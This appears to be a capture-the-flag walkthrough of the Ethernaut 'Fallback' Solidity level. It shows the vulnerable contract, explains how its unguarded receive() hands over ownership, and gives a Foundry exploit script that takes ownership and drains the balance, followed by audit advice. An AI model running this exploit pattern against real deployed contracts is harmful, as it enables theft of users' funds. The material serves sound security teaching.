Fallback has two code paths that can hand you ownership. The developer guarded one properly and forgot the other. Your job is to become the owner and drop the contract balance to zero.
Try it first in the browser with Foundry already wired up: solve Fallback in the SCH lab. The original is Ethernaut level 1.
The contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The flaw
Ask which lines write to owner. There are three: the constructor, contribute(), and receive().
contribute() looks well defended. You can only send less than 0.001 ether per call, and the deployer starts with 1000 ether credited to their name, so out-contributing them would take over a million transactions.
Then there is receive():
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
It hands over ownership for any nonzero payment, as long as you have contributed something at some point. Not more than the owner. One wei qualifies.
receive() is the handler for plain ETH transfers, the kind a wallet sends when you paste an address and hit send. Empty calldata carries no function selector, so the EVM falls through to it. Anyone can reach it without knowing a single function name.
{
"title": "🎬 Two paths to owner, one of them unguarded",
"stage": { "width": 920, "height": 440 },
"nodes": [
{ "id": "player", "label": "Player", "role": "your EOA", "emoji": "🧑💻", "x": 60, "y": 55, "color": "red" },
{ "id": "target", "label": "Fallback contract", "role": "holds 0.001 ETH", "emoji": "📜", "x": 620, "y": 55, "color": "cyan" },
{ "id": "ownerslot", "label": "owner", "role": "privileged state", "emoji": "👑", "x": 340, "y": 285, "color": "gold" }
],
"links": [
{ "from": "player", "to": "target" },
{ "from": "target", "to": "ownerslot" },
{ "from": "target", "to": "player" }
],
"nets": [
{ "id": "bal", "label": "Contract balance" },
{ "id": "own", "label": "Who owns it" }
],
"legend": [
{ "cls": "call", "label": "contract call" },
{ "cls": "token", "label": "ETH transfer" },
{ "cls": "sig", "label": "state write" },
{ "cls": "fail", "label": "blocked" }
],
"scenarios": {
"The intended path (blocked)": [
{ "note": "The deployer starts with <b>1000 ether</b> credited in <code>contributions</code>. You start at zero.", "hi": ["target","ownerslot"], "bal": { "target": "0.001 ETH", "ownerslot": "deployer" }, "net": { "bal": "0.001 ETH", "own": "deployer" } },
{ "note": "You call <b>contribute()</b>. The <code>require</code> caps every single payment below <b>0.001 ether</b>.", "hi": ["player","target"], "chip": { "from": "player", "to": "target", "label": "📞 contribute() 0.0009 ETH", "cls": "call" } },
{ "note": "Your total is compared against the owner's 1000 ether. It loses, so <code>owner</code> is never reassigned.", "tone": "ok", "hi": ["target","ownerslot"], "chip": { "from": "target", "to": "ownerslot", "label": "⛔ 0.0009 < 1000", "cls": "fail" }, "bal": { "ownerslot": "deployer" } },
{ "note": "Beating the owner this way needs over a million transactions. The guard on this path works.", "tone": "ok", "hi": ["ownerslot"], "net": { "own": "deployer" } }
],
"The exploit": [
{ "note": "Same starting state. The contract holds <b>0.001 ETH</b> and the deployer owns it.", "hi": ["target"], "bal": { "target": "0.001 ETH", "ownerslot": "deployer" }, "net": { "bal": "0.001 ETH", "own": "deployer" } },
{ "note": "Send <b>1 wei</b> through <code>contribute()</code>. You are not trying to win the comparison, only to make <code>contributions[you]</code> nonzero.", "hi": ["player","target"], "chip": { "from": "player", "to": "target", "label": "📞 contribute() 1 wei", "cls": "call" }, "bal": { "target": "0.001 ETH + 1 wei" }, "net": { "bal": "0.001 ETH + 1 wei" } },
{ "note": "Now send <b>1 wei</b> with empty calldata. No function selector matches, so the EVM falls through to <code>receive()</code>.", "tone": "bad", "hi": ["player","target"], "chip": { "from": "player", "to": "target", "label": "💸 1 wei, no calldata", "cls": "token" } },
{ "note": "<code>receive()</code> checks only that you sent something and contributed something. Both are true. It writes <code>owner = msg.sender</code>.", "tone": "bad", "hi": ["target","ownerslot"], "chip": { "from": "target", "to": "ownerslot", "label": "✍️ owner = you", "cls": "sig" }, "bal": { "ownerslot": "you" }, "net": { "own": "you" } },
{ "note": "You now pass <code>onlyOwner</code>. Call <b>withdraw()</b> and the entire balance transfers out.", "tone": "bad", "hi": ["target","player"], "chip": { "from": "target", "to": "player", "label": "💸 full balance", "cls": "token" }, "bal": { "target": "0 ETH" }, "net": { "bal": "0 ETH", "own": "you" } }
]
}
}
The exploit
The lab gives you a Foundry script with the target already wired up as fallbackInstance. You write the body:
function run() external {
vm.startBroadcast(PLAYER_PRIVATE_KEY);
fallbackInstance.contribute{value: 1 wei}();
address(fallbackInstance).call{value: 1 wei}("");
fallbackInstance.withdraw();
vm.stopBroadcast();
}
The first line sets contributions[you] to 1, which is the only precondition receive() checks. The second sends ETH with an empty calldata string, so no selector matches, receive() runs, and it writes owner = msg.sender. A plain .transfer() would fail here: it forwards only 2300 gas and receive() needs a storage write. The third drains the balance now that onlyOwner passes.
Watch the walkthrough
The audit habit
Reading function by function gets you killed here. You evaluate contribute(), decide the cap is sound, and move on before reaching the fallback handler at the bottom of the file.
For every privileged variable, list every write to it before judging any of them. owner, admin, paused, fee recipients. One unguarded write is enough, and receive() is the one people skip.
Keep going
Next: Fallout, a one-character bug that cost a live contract real money, then Coin Flip. Every level runs in the SCH CTF lab, and the Web3 CTF challenge list has the other wargames worth your time. For the same bug classes on production-sized code, see the Smart Contract Hacking course.